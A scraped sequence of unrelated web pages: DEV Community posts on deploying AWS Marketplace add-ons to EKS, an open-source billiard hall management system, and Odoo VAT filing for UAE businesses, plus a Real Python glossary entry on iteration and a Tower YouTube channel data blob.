Protocol (VCP) v1.0 # ai # blockchain # fintech # openstandard Comments Add Comment 4 min read Addressing 8 Technical Criticisms of Cryptographic Audit Protocols: A Deep Dive VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 8 '25 Addressing 8 Technical Criticisms of Cryptographic Audit Protocols: A Deep Dive Comments Add Comment 9 min read VCP v1.0 — The Flight Recorder for AI Systems (Submitted to 20 Global Regulators) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 8 '25 VCP v1.0 — The Flight Recorder for AI Systems (Submitted to 20 Global Regulators) # ai Comments Add Comment 3 min read Crypto-Shredding: How Immutable Audit Logs and GDPR Coexist VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 8 '25 Crypto-Shredding: How Immutable Audit Logs and GDPR Coexist # blockchain # cryptography # security Comments Add Comment 4 min read The VeritasChain Protocol: A Cryptographic Audit Standard for the Algorithmic Trading Era VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 7 '25 The VeritasChain Protocol: A Cryptographic Audit Standard for the Algorithmic Trading Era # ai # fintech # cryptography Comments 1 comment 4 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/aws-builders/aws-marketplace-for-containers-now-supports-direct-deployment-to-amazon-eks-clusters-video-14je | AWS Marketplace for Containers Now Supports Direct Deployment to Amazon EKS Clusters ~Video - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Learn2Skills for AWS Community Builders Posted on Dec 23, 2022 • Edited on Mar 8, 2023 AWS Marketplace for Containers Now Supports Direct Deployment to Amazon EKS Clusters ~Video # aws # cloud # docker # containerapps This new feature simplifies the discovery, deployment, and management of third-party software such as Kubecost , Teleport , Tetrate , FactorHouse , Upbound UXP , and Dynatrace . Commercial and packaged open-source software from AWS Marketplace can now be deployed to Amazon EKS clusters. The Amazon EKS console, APIs, Command Line Interface (CLI), or other Infrastructure as Code (IAC) tools such as Cloudformation and Terraform can be used to deploy. Customers using Amazon EKS can now find and deploy third-party operational software to their EKS clusters via the EKS console or command-line interface (CLI), eksctl, AWS APIs, or infrastructure as code tools like AWS CloudFormation and Terraform. All software in the AWS Marketplace is constantly scanned for common vulnerabilities and exposures (CVEs), giving you peace of mind when deploying software to your EKS clusters. By default, add-ons which require access to other AWS services will attempt to use the permissions associated with the worker node IAM role. As a best practice, you can instead use IAM roles for service accounts to associate an IAM role to an EKS add-on that requires IAM permissions. You then no longer need to provide extended permissions to the node IAM role so that the add-on can call AWS APIs. You can pass an IAM role to the add-on as part of its configuration when you start it or at any time as an update. When using IAM roles for service accounts, the trust relationship is scoped to your cluster and service account so that each cluster and add-on combination requires a unique role. Deploying AWS Marketplace for Containers to Your EKS Clusters To get started, in the Amazon EKS console, go to your EKS clusters, and in the Add-ons tab, select Get more add-ons to find new third-party EKS add-ons in the cluster setting of your existing EKS clusters. AWS provides a list of Amazon EKS add-ons as well as a list of products from independent software vendors as AWS Marketplace add-ons. You can use the search bar to narrow down your options by categories, vendors, and pricing models. Select Next after checking your favorite add-ons. Configure selected add-ons, such as the version and some optional settings for each add-on, in the following step. Step 3 allows you to review and add third-party add-ons to your EKS cluster. If you do not already have a Kubecost subscription, you will be directed to the AWS Marketplace website to complete the subscription. Subscribe to the software through the AWS Marketplace. Accept the end user license agreement (EULA), choose the version of software to deploy, and finally, if necessary, configure the software. The Kubecost add-on is now deployed! To check the status of the add-on at any time, you can visit the Add-Ons tab in the cluster info page. Watch the video demo For more details refer- Amazon EKS add-ins from independent software vendors Top comments (1) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Collapse Expand Dan Martin Dan Martin Dan Martin Follow Startup and scale-up veteran. Current Demand Generation Manager @ FactorHouse.io Location Melbourne, Australia Joined Dec 9, 2024 • Dec 9 '24 Dropdown menu Copy link Hide Thanks for the shoutout for the Factor House crew, and on behalf of the kPow users everywhere! Like comment: Like comment: 1 like Like Comment button Reply Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse AWS Community Builders Follow Build On! Would you like to become an AWS Community Builder? Learn more about the program and apply to join when applications are open next. Learn more More from AWS Community Builders 🩺 How I Troubleshoot an EC2 Instance in the Real World (Using Instance Diagnostics) # aws # ec2 # linux # cloud Explain Basic AI Concepts And Terminologies # aws # ai # aipractitioner # cloud What I Learned Using Specification-Driven Development with Kiro # aws # serverless # kiro 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/setasena_randata_1cfa30f4/building-chalkboard-open-source-billiard-hall-management-391c#why-open-source | Building Chalkboard: Open Source Billiard Hall Management - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Setasena Randata Posted on Jan 13 Building Chalkboard: Open Source Billiard Hall Management # opensource # buildinpublic # typescript # nextjs TL;DR: I built an open-source billiard hall management system with Next.js 15, React 19, and PostgreSQL. It handles everything from table sessions to F&B orders, payments, and analytics. Try it on Railway or run it with Docker . The Problem Running a billiard hall in Indonesia involves juggling multiple systems: table time tracking, F&B orders, payments, staff management, and inventory. Most solutions are either: Expensive SaaS with monthly fees Excel spreadsheets (yes, really) Custom solutions that can't be easily replicated I wanted to build something that any billiard hall could deploy and own their data , whether they're in Jakarta, Manila, or anywhere else. Why Open Source? At Kugie , our motto is "Scale Smarter, Not Harder." For small businesses, that means: No vendor lock-in - Your data stays yours Deploy anywhere - Railway, Docker, VPS, or even Windows standalone Customize freely - Fork it and make it yours Community-driven - Features that actual operators need The Tech Stack // The modern stack that just works - Next . js 15 ( App Router + React 19 ) - TypeScript ( because types save lives ) - Drizzle ORM + PostgreSQL - Tailwind + Shadcn / ui - NextAuth . js for authentication - Bun for speed Enter fullscreen mode Exit fullscreen mode Why These Choices? Next.js 15 with App Router : Server components give us fast initial loads - crucial for operators checking tables on slower Indonesian internet. Drizzle ORM : After dealing with Prisma's bulk query limitations at scale, Drizzle's SQL-like syntax and better performance won me over. Plus, Drizzle Studio is fantastic for database debugging. PostgreSQL : Battle-tested, great JSON support for flexible F&B item properties, and works everywhere - from Neon serverless to local Docker. Key Features I'm Proud Of 1. Context-Aware F&B Orders Orders can be: Linked to table sessions Standalone counter orders Draft orders (for customers waiting for tables) // The schema handles all three contexts elegantly export const fnbOrders = pgTable ( " fnb_orders " , { tableSessionId : uuid ( " table_session_id " ). references (() => tableSessions . id ), paymentId : uuid ( " payment_id " ). references (() => payments . id ), status : varchar ( " status " , { length : 20 }). notNull (). default ( " draft " ), // draft → pending → completed }); Enter fullscreen mode Exit fullscreen mode 2. Flexible Deployment Options Method Best For Setup Time Railway Cloud, zero config 2 minutes Docker Self-hosted VPS 5 minutes Windows Standalone Local with auto-update 10 minutes 3. Real-Time Analytics Without the Overhead Pre-calculated analytics stored in order_analytics table: Revenue by hour/day/month Popular items and peak times Staff performance tracking No need for expensive analytics services - just PostgreSQL doing what it does best. Challenges & Solutions Challenge 1: Supporting Poor Internet Connectivity Problem : Many billiard halls in Indonesia have unreliable internet. Solution : Optimistic UI updates with local state Service Worker for offline capability (planned) Windows standalone that works 100% locally Challenge 2: Multi-Language Support Problem : Staff might prefer Indonesian, but owners want English reports. Solution : next-intl with route-based locales ( /id/dashboard vs /en/dashboard ) // Clean separation of concerns messages / ├── id / │ ├── common . json │ ├── dashboard . json │ └── fnb . json └── en / ├── common . json ├── dashboard . json └── fnb . json Enter fullscreen mode Exit fullscreen mode Challenge 3: Complex Payment Flows Problem : A single payment might include: Multiple table sessions Multiple F&B orders Split payments Tips Solution : Consolidated payment model with JSON metadata: export const payments = pgTable ( " payments " , { totalAmount : numeric ( " total_amount " , { precision : 10 , scale : 2 }). notNull (), metadata : json ( " metadata " ), // Flexible structure for complex scenarios paymentMethod : varchar ( " payment_method " , { length : 50 }). notNull (), }); Enter fullscreen mode Exit fullscreen mode What's Next? I'm preparing to launch Chalkboard v1.0.3 widely. Planned features: Mobile PWA for table-side ordering Multi-location support for chains Advanced inventory with supplier management Membership system with loyalty points Try It Yourself Quick deploy: Railway (1-click) Docker Hub GitHub Feedback welcome! Whether you run a billiard hall, arcade, or any time-based rental business, I'd love to hear if this could work for you. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Setasena Randata Follow Location Jakarta, Indonesia Joined May 14, 2025 More from Setasena Randata Hi! I'm tired finding a self hosted finance tool, so I make one. # webdev # programming # javascript # opensource Summit Finance: A Modern Open Source Invoicing Solution Built with Next.js, Drizzle ORM, and Tailwind CSS # webdev # programming # javascript # opensource 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. 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https://realpython.com/ref/glossary/iteration/ | iteration | Python Glossary – Real Python Start Here Learn Python Python Tutorials → In-depth articles and video courses Learning Paths → Guided study plans for accelerated learning Quizzes & Exercises → Check your learning progress Browse Topics → Focus on a specific area or skill level Community Chat → Learn with other Pythonistas Office Hours → Live Q&A calls with Python experts Podcast → Hear what’s new in the world of Python Books → Round out your knowledge and learn offline Reference → Concise definitions for common Python terms Code Mentor → Beta Personalized code assistance & learning tools Unlock All Content → More Learner Stories Python Newsletter Python Job Board Meet the Team Become a Tutorial Writer Become a Video Instructor Search / Join Sign‑In Table of Contents Example Related Resources ( clear filter ) Clear filter Python Glossary / absolute import abstract base class (ABC) abstract method annotation application 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IndentationError IndexError InterruptedError IOError IsADirectoryError KeyboardInterrupt KeyError LookupError MemoryError ModuleNotFoundError NameError NotADirectoryError NotImplementedError OSError OverflowError PermissionError RecursionError RuntimeError StopAsyncIteration StopIteration SyntaxError SystemExit TabError TimeoutError TypeError ValueError ZeroDivisionError Python’s Built-in Functions / abs() aiter() all() anext() any() ascii() bin() bool() breakpoint() callable() chr() classmethod() compile() delattr() dir() divmod() enumerate() eval() exec() filter() format() getattr() globals() hasattr() hash() help() hex() id() __import__() input() isinstance() issubclass() iter() len() locals() map() max() memoryview() min() next() oct() open() ord() pow() print() property() repr() reversed() round() setattr() slice() sorted() staticmethod() sum() super() type() vars() zip() Python Standard Library / abc argparse array asyncio calendar collections configparser contextlib contextvars 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coding weight zero-shot learning AI Coding Tools / Aider Amazon Q Developer Amp Code AskCodi Blackbox AI ChatGPT Claude Claude Code CodeGeeX Code Llama Codex Codex CLI Copilot CLI Cursor Cursor CLI DeepCode Devin Gemini Gemini CLI Gemini Code Assist GitHub Copilot Chat Google Antigravity Grok JetBrains AI Assistant Jupyter AI Kiro LlamaIndex LM Studio Microsoft Copilot Ollama Open Interpreter OverflowAI Phind Pydantic AI Replit AI Repo Prompt Sourcegraph Cody Tabnine Visual Studio IntelliCode Warp Windsurf Zed Python Best Practices / Classes Code Formatting Code Testing Coding Style Comments Comprehensions Concurrency Conditionals Constants Dependency Management Distribution Docstrings Documentation Exception Handling Functions Generator Expressions Imports Logging Loops Object Mutability Optimization Project Layout Public API Surface Reference Python Glossary / iteration In Python, iteration is the process of repeatedly accessing elements from a sequence or collection , one at a time. This is typically done with for loops . Python provides powerful tools for iteration, allowing you to loop over items in data structures like lists , tuples , dictionaries , and more. Iteration is a fundamental concept in programming. It enables you to automate repetitive tasks and work efficiently with data collections. Example Here’s a quick example of iteration using a for loop to iterate over a list of numbers and print each one: Python >>> numbers = [ 1 , 2 , 3 , 4 , 5 ] >>> for number in numbers : ... print ( number ) ... 1 2 3 4 5 In this example, the for loop iterates over each item in the numbers list and prints it to your screen. Related Resources Tutorial Python for Loops: The Pythonic Way In this tutorial, you'll learn all about the Python for loop. You'll learn how to use this loop to iterate over built-in data types, such as lists, tuples, strings, and dictionaries. You'll also explore some Pythonic looping techniques and much more. intermediate best-practices python For additional information on related topics, take a look at the following resources: Python while Loops: Repeating Tasks Conditionally (Tutorial) For Loops in Python (Definite Iteration) (Course) Python for Loops: The Pythonic Way (Quiz) Mastering While Loops (Course) Python while Loops: Repeating Tasks Conditionally (Quiz) By Leodanis Pozo Ramos • Updated July 4, 2025 Python Glossary Share Feedback Learn Python Start Here Learning Resources Code Mentor Python Reference Python Cheat Sheet Support Center Courses & Paths Learning Paths Quizzes & Exercises Browse Topics Live Courses Books Community Podcast Newsletter Community Chat Office Hours Learner Stories Membership Plans & Pricing Team Plans For Business For Schools Reviews Company About Us Team Mission & Values Editorial Guidelines Sponsorships Careers Press Kit Merch Privacy Policy ⋅ Terms of Use ⋅ Security ⋅ Contact Happy Pythoning! © 2012–2026 DevCademy Media Inc. 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https://dev.to/decision_intelligent/how-odoo-erp-simplifies-vat-filing-for-uae-businesses-decision-intelligent-26i2#2-vatcompliant-invoicing | How Odoo ERP Simplifies VAT Filing for UAE Businesses | Decision Intelligent - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse DECISION INTELLIGENT Posted on Jan 5 How Odoo ERP Simplifies VAT Filing for UAE Businesses | Decision Intelligent # ai # decisionintelligent # odoo # erp Since the introduction of Value Added Tax (VAT) in the UAE, businesses are required to maintain accurate financial records, submit timely VAT returns, and comply with Federal Tax Authority (FTA) regulations . While VAT compliance can be complex and time-consuming when handled manually, modern ERP systems like Odoo ERP make the process significantly easier. At Decision Intelligent Software Trading L.L.C , we help UAE businesses streamline VAT compliance using Odoo ERP , ensuring accuracy, transparency, and peace of mind. This article explains how Odoo ERP simplifies VAT filing for UAE businesses and why it's the preferred solution for growing companies. Understanding VAT Challenges for UAE Businesses Many businesses in the UAE face common VAT-related challenges, including: Manual invoice tracking and data entry errors Incorrect VAT calculations (5% standard rate) Difficulty separating taxable, zero-rated, and exempt supplies Incomplete audit trails Time-consuming VAT return preparation Risk of penalties due to late or incorrect filings Without an integrated system, VAT compliance often becomes a monthly headache rather than a smooth process. What Is Odoo ERP? Odoo ERP is a comprehensive, modular enterprise resource planning system that integrates: Accounting & Finance Sales & Purchase Management Inventory & Warehousing CRM & Operations For UAE businesses, Odoo offers localized VAT features that align with FTA requirements, making it one of the most efficient ERP solutions for VAT compliance. How Odoo ERP Simplifies VAT Filing in the UAE 1. Automated VAT Calculation Odoo automatically calculates VAT at 5% on sales and purchases based on predefined tax rules. No manual calculations Reduced human error Consistent tax application across all transactions Each invoice, bill, or credit note automatically reflects the correct VAT amount. 2. VAT-Compliant Invoicing Odoo generates FTA-compliant tax invoices , including: TRN (Tax Registration Number) VAT amount clearly displayed Taxable amount breakdown Invoice date and unique number This ensures every invoice issued meets UAE VAT regulations without additional formatting work. 3. Real-Time VAT Reporting With Odoo ERP, businesses can access real-time VAT reports , including: VAT on sales (output tax) VAT on purchases (input tax) VAT payable or refundable Decision-makers can instantly view VAT liabilities, helping with better cash flow planning. 4. FTA-Ready VAT Return Reports Odoo generates VAT return reports aligned with the UAE FTA format, making it easier to: Prepare VAT returns Validate figures before submission Reduce dependency on spreadsheets With Decision Intelligent's Odoo configuration, reports are structured to match FTA Form 201 , minimizing errors during filing. 5. Centralized Record Keeping for Audits FTA requires businesses to retain VAT records for at least 5 years. Odoo ERP securely stores: Invoices Bills Credit notes VAT reports Transaction history This creates a clear audit trail , making VAT audits stress-free and transparent. 6. Handling Multiple VAT Scenarios Odoo supports different VAT scenarios, including: Standard-rated supplies Zero-rated supplies Exempt transactions Imports and reverse charge mechanisms Decision Intelligent customizes Odoo to ensure your VAT setup reflects your exact business operations. Why UAE Businesses Choose Decision Intelligent for Odoo VAT Setup At Decision Intelligent Software Trading L.L.C , we go beyond basic ERP implementation. We offer: ✅ UAE VAT-compliant Odoo configuration ✅ Customized tax rules based on your industry ✅ VAT reporting optimization ✅ User training for finance teams ✅ Ongoing support & compliance guidance Our consultants ensure your ERP system works with your business , not against it. Industries That Benefit Most from Odoo VAT Automation Odoo VAT features are especially valuable for: Trading companies Retail & eCommerce businesses Manufacturing firms Service-based companies Restaurants & hospitality Real estate & contracting companies Each industry has unique VAT requirements - and Odoo adapts accordingly. Common Mistakes Avoided with Odoo ERP By using Odoo ERP, businesses avoid: ❌ Incorrect VAT calculations ❌ Missing VAT details on invoices ❌ Inconsistent reporting ❌ Manual spreadsheet errors ❌ Late or inaccurate VAT filings Automation significantly reduces compliance risk. VAT compliance doesn't have to be complicated. With Odoo ERP , UAE businesses can automate VAT calculations, generate compliant invoices, and prepare accurate VAT returns effortlessly. At Decision Intelligent Software Trading L.L.C , we help businesses implement VAT-ready Odoo ERP solutions that save time, reduce risk, and support sustainable growth. Ready to Simplify Your VAT Filing? 👉 Book a free Odoo consultation with Decision Intelligent 📩 info@decisionintelligent.com 🌐 decisionintelligent.com 👉 Call/Whatsapp: +971505169693 / +971585703015 Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse DECISION INTELLIGENT Follow We empower organizations across industries to harness the power of artificial intelligence and make informed, data-backed decisions that drive success. Location Dubai, United Arab Emirates Joined Nov 18, 2025 More from DECISION INTELLIGENT UAE VAT & Corporate Tax Compliance with Odoo ERP | Decision Intelligent # ai # decisionintelligent # odooerp # uaetax Cloud vs On-Prem ERP: What Decision Intelligent Recommends for SMEs # decisionintelligent # odooerp # ai # sme Odoo for Real Estate: How Decision Intelligent Helps Agencies Automate Operations # decisionintelligent # ai # odoo # realestate 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://m.youtube.com/@gittower | Tower - YouTube var ytInitialData = {"responseContext":{"serviceTrackingParams":[{"service":"GFEEDBACK","params":[{"key":"route","value":"channel."},{"key":"is_owner","value":"false"},{"key":"is_alc_surface","value":"false"},{"key":"browse_id","value":"UCrl5xG-L4ZCFkR-bhUy9BVg"},{"key":"browse_id_prefix","value":""},{"key":"logged_in","value":"0"},{"key":"visitor_data","value":"Cgt3U21Sb0JtaERkdyiTjpjLBjIKCgJLUhIEGgAgTGLfAgrcAjE1LllUPVQ2bnVRZzFXNUFuRWxyOUgtNG9RSV9rdllMQmtBTm9tejU5a1ZmV29RcS1QM3NkWFNIUG5nOElxR2s5Z2JNc2hRUVFLX2daZC10b3BoRWlwLXo0QUNoUURlaU5KUkVFRGxGMC1sNzRiYmkzQTFHSnRGMWF6d056WVNyOTQxaTYzTER3dnF1VFRYbEhGM1RKSXZ5QzF2TWJaeEVLRXVmSmZqNWctMERUaEJXazllMEMzb3ZhRVJlOVBHMzRENTN2eHNvVDdGU29zNUZTa1pLTlZxdkxXeFdsdmxpLXJLN3FfRENMWW5KbXJ6STBUbXdtMzQ4NUZTbnA1M3hWdU5FSDBqN1AzbWRPVjFCQXdILXNhTHNKY1lWczVrUk9INHZmOWJWa0NUX0tERk1seUktWVZETkpFZGY0Vzk0aWt6NG55aWdJU0luMGdUck9NR3pvTFgyT3Zpdw%3D%3D"}]},{"service":"GOOGLE_HELP","params":[{"key":"browse_id","value":"UCrl5xG-L4ZCFkR-bhUy9BVg"},{"key":"browse_id_prefix","value":""}]},{"service":"CSI","params":[{"key":"c","value":"WEB"},{"key":"cver","value":"2.20260109.01.00"},{"key":"yt_li","value":"0"},{"key":"GetChannelPage_rid","value":"0xe40f85c8722180f8"}]},{"service":"GUIDED_HELP","params":[{"key":"logged_in","value":"0"}]},{"service":"ECATCHER","params":[{"key":"client.version","value":"2.20260109"},{"key":"client.name","value":"WEB"}]}],"maxAgeSeconds":300,"mainAppWebResponseContext":{"loggedOut":true,"trackingParam":"kx_fmPxhoPZRTC-A8du_Ezce37thYOyiXH1sriilUkJ6f_wRgkuswmIBwOcCE59TDtslLKPQ-SS"},"webResponseContextExtensionData":{"webResponseContextPreloadData":{"preloadMessageNames":["pageHeaderRenderer","pageHeaderViewModel","imageBannerViewModel","dynamicTextViewModel","decoratedAvatarViewModel","avatarViewModel","contentMetadataViewModel","flexibleActionsViewModel","buttonViewModel","modalWithTitleAndButtonRenderer","buttonRenderer","descriptionPreviewViewModel","engagementPanelSectionListRenderer","engagementPanelTitleHeaderRenderer","sectionListRenderer","itemSectionRenderer","continuationItemRenderer","attributionViewModel","channelMetadataRenderer","twoColumnBrowseResultsRenderer","tabRenderer","channelVideoPlayerRenderer","shelfRenderer","horizontalListRenderer","gridVideoRenderer","thumbnailOverlayTimeStatusRenderer","thumbnailOverlayToggleButtonRenderer","thumbnailOverlayNowPlayingRenderer","menuRenderer","menuServiceItemRenderer","menuNavigationItemRenderer","unifiedSharePanelRenderer","metadataBadgeRenderer","reelShelfRenderer","shortsLockupViewModel","thumbnailViewModel","reelPlayerOverlayRenderer","sheetViewModel","listViewModel","listItemViewModel","expandableTabRenderer","desktopTopbarRenderer","topbarLogoRenderer","fusionSearchboxRenderer","topbarMenuButtonRenderer","multiPageMenuRenderer","hotkeyDialogRenderer","hotkeyDialogSectionRenderer","hotkeyDialogSectionOptionRenderer","voiceSearchDialogRenderer","microformatDataRenderer"]},"ytConfigData":{"visitorData":"Cgt3U21Sb0JtaERkdyiTjpjLBjIKCgJLUhIEGgAgTGLfAgrcAjE1LllUPVQ2bnVRZzFXNUFuRWxyOUgtNG9RSV9rdllMQmtBTm9tejU5a1ZmV29RcS1QM3NkWFNIUG5nOElxR2s5Z2JNc2hRUVFLX2daZC10b3BoRWlwLXo0QUNoUURlaU5KUkVFRGxGMC1sNzRiYmkzQTFHSnRGMWF6d056WVNyOTQxaTYzTER3dnF1VFRYbEhGM1RKSXZ5QzF2TWJaeEVLRXVmSmZqNWctMERUaEJXazllMEMzb3ZhRVJlOVBHMzRENTN2eHNvVDdGU29zNUZTa1pLTlZxdkxXeFdsdmxpLXJLN3FfRENMWW5KbXJ6STBUbXdtMzQ4NUZTbnA1M3hWdU5FSDBqN1AzbWRPVjFCQXdILXNhTHNKY1lWczVrUk9INHZmOWJWa0NUX0tERk1seUktWVZETkpFZGY0Vzk0aWt6NG55aWdJU0luMGdUck9NR3pvTFgyT3Zpdw%3D%3D","rootVisualElementType":3611},"hasDecorated":true}},"contents":{"twoColumnBrowseResultsRenderer":{"tabs":[{"tabRenderer":{"endpoint":{"clickTrackingParams":"CCYQ8JMBGAUiEwiS3eiLkYiSAxW3mFYBHevyHTrKAQSvnxSK","commandMetadata":{"webCommandMetadata":{"url":"/@gittower/featured","webPageType":"WEB_PAGE_TYPE_CHANNEL","rootVe":3611,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"UCrl5xG-L4ZCFkR-bhUy9BVg","params":"EghmZWF0dXJlZPIGBAoCMgA%3D","canonicalBaseUrl":"/@gittower"}},"title":"홈","selected":true,"content":{"sectionListRenderer":{"contents":[{"itemSectionRenderer":{"contents":[{"channelVideoPlayerRenderer":{"videoId":"Ue_GJtDdP6o","title":{"runs":[{"text":"Tower - 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Spend less time with version control and more writing code. \n\nStop worrying about Git commands and finally start using Git’s powerful feature set - in a beautiful GUI that will make you more productive every single day. \n\nAnd it’s even free for students, teachers, and schools! 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https://dev.to/decision_intelligent/how-odoo-erp-simplifies-vat-filing-for-uae-businesses-decision-intelligent-26i2#1-automated-vat-calculation | How Odoo ERP Simplifies VAT Filing for UAE Businesses | Decision Intelligent - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse DECISION INTELLIGENT Posted on Jan 5 How Odoo ERP Simplifies VAT Filing for UAE Businesses | Decision Intelligent # ai # decisionintelligent # odoo # erp Since the introduction of Value Added Tax (VAT) in the UAE, businesses are required to maintain accurate financial records, submit timely VAT returns, and comply with Federal Tax Authority (FTA) regulations . While VAT compliance can be complex and time-consuming when handled manually, modern ERP systems like Odoo ERP make the process significantly easier. At Decision Intelligent Software Trading L.L.C , we help UAE businesses streamline VAT compliance using Odoo ERP , ensuring accuracy, transparency, and peace of mind. This article explains how Odoo ERP simplifies VAT filing for UAE businesses and why it's the preferred solution for growing companies. Understanding VAT Challenges for UAE Businesses Many businesses in the UAE face common VAT-related challenges, including: Manual invoice tracking and data entry errors 